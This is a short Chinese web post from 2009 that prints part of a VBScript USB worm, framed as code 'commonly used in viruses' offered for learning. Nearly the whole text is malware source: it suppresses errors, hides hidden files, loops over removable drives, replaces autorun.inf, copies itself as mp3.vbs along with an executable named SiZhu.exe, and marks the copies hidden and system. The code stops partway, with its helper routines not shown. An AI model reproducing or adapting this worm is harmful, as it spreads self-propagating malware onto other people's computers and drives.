一段病毒常用的VBS代码

2009-9-23 15:27 999 0

摘要: 　　vbs病毒文件常用的代码，给这段代码不是想让大家做病毒，而是让大家学习一下它的代码，充分了解vbs技术。　　代码如下: 　　On error resume next 　　Dim fso,w...

　　vbs病毒文件常用的代码，给这段代码不是想让大家做病毒，而是让大家学习一下它的代码，充分了解vbs技术。　　代码如下: 　　On error resume next 　　Dim fso,wshell,curfolder,curdristr,curdri 　　Set fso=createobject("scripting.filesystemobject") 　　Set wshell=CreateObject("WScript.shell") 　　Set curfolder=fso.GetFolder(".") 　　curdristr=Left(WScript.ScriptFullName,3) 　　Set curdri=fso.GetDrive(curdristr) 　　reghid() '不显示隐藏文件　　If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中　　For i=1 To 2 Step 0 　　reghid() 　　For Each dri In fso.Drives 　　If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then 　　'autorun.inf文件夹改名　　If fso.FolderExists(dri.Path&"\autorun.inf") Then 　　fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish" 　　End If 　　'复制自身及exe文件到移动硬盘　　If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then 　　Else 　　If fso.FileExists(dri.Path&"\mp3.vbs") Then 　　fso.DeleteFile dri.Path&"\mp3.vbs",True 　　ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then 　　fso.DeleteFile dri.Path&"\autorun.inf",True 　　End if 　　fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True 　　If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then 　　fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True 　　End If 　　autoinf(dri.Path) 　　'给刚复制的文件加上隐藏属性　　Set norkon=fso.GetFile(dri.Path&"\mp3.vbs") 　　wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0 　　Set norkon=Nothing

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除